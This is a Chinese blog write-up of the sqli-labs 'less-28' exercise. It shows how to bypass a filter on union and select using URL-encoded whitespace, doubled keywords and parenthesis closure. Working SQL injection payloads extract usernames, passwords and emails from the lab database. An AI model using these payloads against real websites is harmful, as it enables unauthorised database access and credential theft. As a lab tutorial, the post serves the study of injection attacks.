less28过滤了union和select等的注入

这里测试一下发现是有报错注入的,也可以用回显注入。这里用order by 是没法判断列数的,因为

select * from users where id=(1) order by 4 and (1) limit 0,1;

会因为优先级的问题变成 4先和1做and运算得出1.语句就变成了

`select * from users where id=(1) order by 1 limit 0,1;`

img
这里利用的是原本语句的闭合括号,等于联合了另外一张表,在数据库中语句就是

select * from users where id=(0)union (select 1,(select(group_concat(username))from(users)),3 '1')  limit 0,1;

img
payload

?id=0')union(select%0d1,(select(group_concat(username,password))from(users)),'3

img
那么也可以使用另外一种方法,使用and来闭合最后的括号。

?id=0')union%0aunion%0aselectselect%0a1,group_concat(id,email_id),3%0afrom%0aemails%0awhere%0a1=1%0aand('1')=('1

img
这样子写就相当于在数据库中是,利用最后的and运算为1配合上where,导致where成真执行查询语句,如果我们不加where就会报错了。

select * from users where id=(0)union select 1,group_concat(username),3 from users where 1=1 and ('1')='1'  limit 0,1;

img

作者:qianyuzz

出处:https://www.cnblogs.com/qianyuzz/p/17060071.html

版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。

posted @   qianyuzz  阅读(124)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
more_horiz
keyboard_arrow_up dark_mode palette
选择主题
点击右上角即可分享
微信分享提示